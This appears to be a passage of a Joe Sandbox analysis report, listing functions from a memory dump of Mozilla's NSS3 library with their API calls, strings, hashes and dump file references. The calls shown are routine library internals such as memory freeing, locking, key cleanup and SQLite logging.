API String ID: 1176783091-0
Opcode ID: 82b24154f424924466609e468a5cbec74b69121895d79b0ff3464aa783f740e8
Instruction ID: 35bc18ac24a9e50689f2f4c6ebd7acaaab69a90cbcc0b1065432d32b91219180
Opcode Fuzzy Hash: 82b24154f424924466609e468a5cbec74b69121895d79b0ff3464aa783f740e8
Instruction Fuzzy Hash: E211486260411197E72006FBAC04B66B6ACEB827ECF144035FD48C2A41FB53CE4683B5

Function 6CFBCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CFD1E10: TlsGetValue.KERNEL32 ref: 6CFD1E36
Part of subcall function 6CFD1E10: EnterCriticalSection.KERNEL32(?,?,?,6CFAB1EE,2404110F,?,?), ref: 6CFD1E4B
Part of subcall function 6CFD1E10: PR_Unlock.NSS3 ref: 6CFD1E76

free.MOZGLUE(?,6CFBD079,00000000,00000001), ref: 6CFBCDA5
PK11_FreeSymKey.NSS3(?,6CFBD079,00000000,00000001), ref: 6CFBCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CFBD079,00000000,00000001), ref: 6CFBCDCF
DeleteCriticalSection.KERNEL32(?,6CFBD079,00000000,00000001), ref: 6CFBCDE2
free.MOZGLUE(?), ref: 6CFBCDE9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 78ef35911f9d23acd5076c7b06c28e5c5b063b6787971cf78a2db3a08bdd91e3
Instruction ID: 8b1b44bbbbd509d4536a746fe6b3e8520474ea8d094b41759fad47c070ff2e87
Opcode Fuzzy Hash: 78ef35911f9d23acd5076c7b06c28e5c5b063b6787971cf78a2db3a08bdd91e3
Instruction Fuzzy Hash: 0311A0B6A01111ABEA009F66EC44F97BB6CBB486697184121E92997E01E732F464C7E1

Function 6CFF3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CFF38A2), ref: 6CFF3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CFF38A2), ref: 6CFF3DBF

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CFF38A2), ref: 6CFF3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CFF38A2), ref: 6CFF3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CFF38A2), ref: 6CFF3DF8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: 39e6b9d14685c8d2e071c944ce881dc95f9e82915d736f8870097274e928de8e
Instruction ID: 95509725a26c3953b70570532bbc7c75862d66fded7a88c254a8c63a27a7f7c8
Opcode Fuzzy Hash: 39e6b9d14685c8d2e071c944ce881dc95f9e82915d736f8870097274e928de8e
Instruction Fuzzy Hash: 3801D6B66051223BFB1056766C4AF7B3D6CDB81BA8B140235FD39DA690EA62CC1581F2

Function 6D022D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D025B40: PR_GetIdentitiesLayer.NSS3 ref: 6D025B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D022D9C

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_EnterMonitor.NSS3(?), ref: 6D022DB2
PR_EnterMonitor.NSS3(?), ref: 6D022DCF
PR_ExitMonitor.NSS3(?), ref: 6D022DF2
PR_ExitMonitor.NSS3(?), ref: 6D022E0B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: f8face6daa75ee44c1e0eb21ac83bb4cf94374e4c7cb4942f8467652db3edb43
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 5801A1B5A252005FFB309E75FC01B97B7A5EB45318F014935E95E87211D732E8218692

Function 6D022CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D025B40: PR_GetIdentitiesLayer.NSS3 ref: 6D025B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D022CEC

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_EnterMonitor.NSS3(?), ref: 6D022D02
PR_EnterMonitor.NSS3(?), ref: 6D022D1F
PR_ExitMonitor.NSS3(?), ref: 6D022D42
PR_ExitMonitor.NSS3(?), ref: 6D022D5B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 76386fca244522c9bdbed719374039145564a999f797de09959b1ac582356008
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 6301A1F5E252009BFB309E75FC40B97B7A9EB45318F014925E95D8B221E732E9218A92

Function 6CFBAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CFA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFBAE42), ref: 6CFA30AA
Part of subcall function 6CFA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFA30C7
Part of subcall function 6CFA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFA30E5
Part of subcall function 6CFA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFA3116
Part of subcall function 6CFA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFA312B
Part of subcall function 6CFA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFA3154
Part of subcall function 6CFA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFA317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CF999FF,?,?,?,?,?,?,?,?,?,6CF92D6B,?), ref: 6CFBAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CF999FF,?,?,?,?,?,?,?,?,?,6CF92D6B,?), ref: 6CFBAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CF92D6B,?,?,00000000), ref: 6CFBAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CF92D6B,?,?,00000000), ref: 6CFBAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CF92D6B,?,?), ref: 6CFBAEA3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 3bddba10011e6ba1d13ec3d6cf08f2f78ccf43e02df6f5332fe859ea7c1e6740
Instruction ID: ebbe7f88e735b2b413a13b291ce4ada1ca4de545be2fed8082f971d3109aeeaf
Opcode Fuzzy Hash: 3bddba10011e6ba1d13ec3d6cf08f2f78ccf43e02df6f5332fe859ea7c1e6740
Instruction Fuzzy Hash: A301A467B05010A7E701926FEC85BEB71D88B87A5CF080031F909EBB01F736D90942A3

Function 6D0ABDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6D0A7AFE,?,?,?,?,?,?,?,?,6D0A798A), ref: 6D0ABDC3
free.MOZGLUE(?,?,6D0A7AFE,?,?,?,?,?,?,?,?,6D0A798A), ref: 6D0ABDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D0A7AFE,?,?,?,?,?,?,?,?,6D0A798A), ref: 6D0ABDE9
free.MOZGLUE(?,00000000,00000000,?,6D0A7AFE,?,?,?,?,?,?,?,?,6D0A798A), ref: 6D0ABE21
free.MOZGLUE(00000000,00000000,?,6D0A7AFE,?,?,?,?,?,?,?,?,6D0A798A), ref: 6D0ABE32

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: f2aaf0e51672e2425b6987d8a026c6a32e26f82ca6795bd3adc7c73860241efc
Instruction ID: ddfc73555c56ca47d28c3700678225080895716457ec84f9a7cf74d969ed6a16
Opcode Fuzzy Hash: f2aaf0e51672e2425b6987d8a026c6a32e26f82ca6795bd3adc7c73860241efc
Instruction Fuzzy Hash: A3111CB69012859FEF20CF79E805B4A3BF5FB4A614B680025D90AC7313E7359454CF95

Function 6CFF3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CFF3975), ref: 6CFF3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CFF3975), ref: 6CFF3E38

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CFF3975), ref: 6CFF3E52
DeleteFileW.KERNEL32(00000000), ref: 6CFF3E5D
free.MOZGLUE(00000000), ref: 6CFF3E64

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 2c157bfe092bc73454371db4a505d46f7ca4bee3deec8f9dfe9c016bfb72dda7
Instruction ID: 34347ca5772f52ea122f42fb6bfcdaecaa262dec90669d3e0dd9023d15b177f9
Opcode Fuzzy Hash: 2c157bfe092bc73454371db4a505d46f7ca4bee3deec8f9dfe9c016bfb72dda7
Instruction Fuzzy Hash: 8DF0B4B13061123BFA1012765C09F77395CCF82EB9F140234FE39C55D1EA51CC194276

Function 6D0A7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6D0A7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A7C83
malloc.MOZGLUE(00000001), ref: 6D0A7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6D0A7C9F
PR_GetCurrentThread.NSS3 ref: 6D0A7CAD

Part of subcall function 6D059BF0: TlsGetValue.KERNEL32(?,?,?,6D0A0A75), ref: 6D059C07

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 34caf30b4d468753f327920b7914d8e28bc94a08dc0b55755ed7ce8fb961d408
Instruction ID: b7ca50c86b31260195fc77d3753216bd895293d112ed2dda15fb59c75c22227e
Opcode Fuzzy Hash: 34caf30b4d468753f327920b7914d8e28bc94a08dc0b55755ed7ce8fb961d408
Instruction Fuzzy Hash: DFF0C2F1D142067BFB009FBAAD09B5B7B98EF40265B06C439ED09C3301E735E110CAA5

Function 6D0AADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6D0AA6D8), ref: 6D0AAE0D
free.MOZGLUE(?), ref: 6D0AAE14
DeleteCriticalSection.KERNEL32(6D0AA6D8), ref: 6D0AAE36
free.MOZGLUE(?), ref: 6D0AAE3D
free.MOZGLUE(00000000,00000000,?,?,6D0AA6D8), ref: 6D0AAE47

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: bd2a5b1aa16f447788a290dd71e2e1ec174aa726f95dc08d6e72fd8579aff65e
Instruction ID: d82a72b21fe9cba917bf3b4778b05e1d8c45cb4fbbff088df24394b305535382
Opcode Fuzzy Hash: bd2a5b1aa16f447788a290dd71e2e1ec174aa726f95dc08d6e72fd8579aff65e
Instruction Fuzzy Hash: 39F09676000A02A7DB10CFA9E808F57BBBCBF86B357180328E53A83581D732E525C7D9

Function 6CF2BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6D0CAAF9,?), ref: 6CF2BE37

Strings

m, xrefs: 6CF2BDD7
Pm, xrefs: 6CF2BED4
winFileSize, xrefs: 6CF2BF07

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: m$Pm$winFileSize
API String ID: 4246442610-3682297867
Opcode ID: 00e5f99d8b259bb97199eedab1280a2e27326f234718037649673f27c3fee20c
Instruction ID: db73c3656b7bf1f43da735d5a3854b1fa5fb1672568da00cf9f5af5e9a72766f
Opcode Fuzzy Hash: 00e5f99d8b259bb97199eedab1280a2e27326f234718037649673f27c3fee20c
Instruction Fuzzy Hash: 6161A231A04A16DFDB04CFA8C4907AAB7B1FF4A314B544EA9DD168BB44D738E851CBD1

Function 6CF37C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF37D35

Strings

%s at line %d of [%.10s], xrefs: 6CF37D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF37D13, 6CF37D1F, 6CF37D47, 6CF37D53, 6CF37D5F
database corruption, xrefs: 6CF37D29

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 756c04fc54b67ffc1f18cedefb7f3db837e505df96524e74315842a8f87ce0b4
Instruction ID: 50f286d72912342b232ae3f56ff259ddf909c7cb99ee832d4af42f7e48701a77
Opcode Fuzzy Hash: 756c04fc54b67ffc1f18cedefb7f3db837e505df96524e74315842a8f87ce0b4
Instruction Fuzzy Hash: DF310531E04235EBC7118F9DC980ABEB7E1AF88209B591197E44DB7682D270D841C7E0

Function 6CF26C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CF26D36

Strings

%s at line %d of [%.10s], xrefs: 6CF26D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF26D20
database corruption, xrefs: 6CF26D2A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: cb671b770f36c4c99b9b0fb4ae12b6294d93647b0cca14f42810538d836f62de
Instruction ID: d97ff34c55904bd1b33c93be13634de9c9b0bd7f2c81718fe25758dd2f3548b3
Opcode Fuzzy Hash: cb671b770f36c4c99b9b0fb4ae12b6294d93647b0cca14f42810538d836f62de
Instruction Fuzzy Hash: 7E2133316043099BC310CE5AC841B5BB7F6AF84318FA4852DE8499BF91E375F948CB92

Function 6D05CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6D05CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D05CC7B), ref: 6D05CD7A
Part of subcall function 6D05CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D05CD8E
Part of subcall function 6D05CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D05CDA5
Part of subcall function 6D05CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D05CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6D05CCB5
memcpy.VCRUNTIME140(6D0F14F4,6D0F02AC,00000090), ref: 6D05CCD3
memcpy.VCRUNTIME140(6D0F1588,6D0F02AC,00000090), ref: 6D05CD2B

Part of subcall function 6CF79AC0: socket.WSOCK32(?,00000017,6CF799BE), ref: 6CF79AE6
Part of subcall function 6CF79AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CF799BE), ref: 6CF79AFC

Part of subcall function 6CF80590: closesocket.WSOCK32(6CF79A8F,?,?,6CF79A8F,00000000), ref: 6CF80597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6D05CCB0

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: b2074b80496153c1707b662652e7e1f5012b588566e8b2ccff0969edbac792a2
Instruction ID: d9c61d00e8ba074a00d2cbd97e71603099da91283cc54bd9e91f277251aa91b8
Opcode Fuzzy Hash: b2074b80496153c1707b662652e7e1f5012b588566e8b2ccff0969edbac792a2
Instruction Fuzzy Hash: E6111CF1A05240DEFB108FAAAD45B567BB89396A18F280039ED0DCB782E77154458BE7

Function 6CF27F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF281DF
LeaveCriticalSection.KERNEL32(?), ref: 6CF28239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF28255
sqlite3_free.NSS3(00000000), ref: 6CF28260

Memory Dump Source

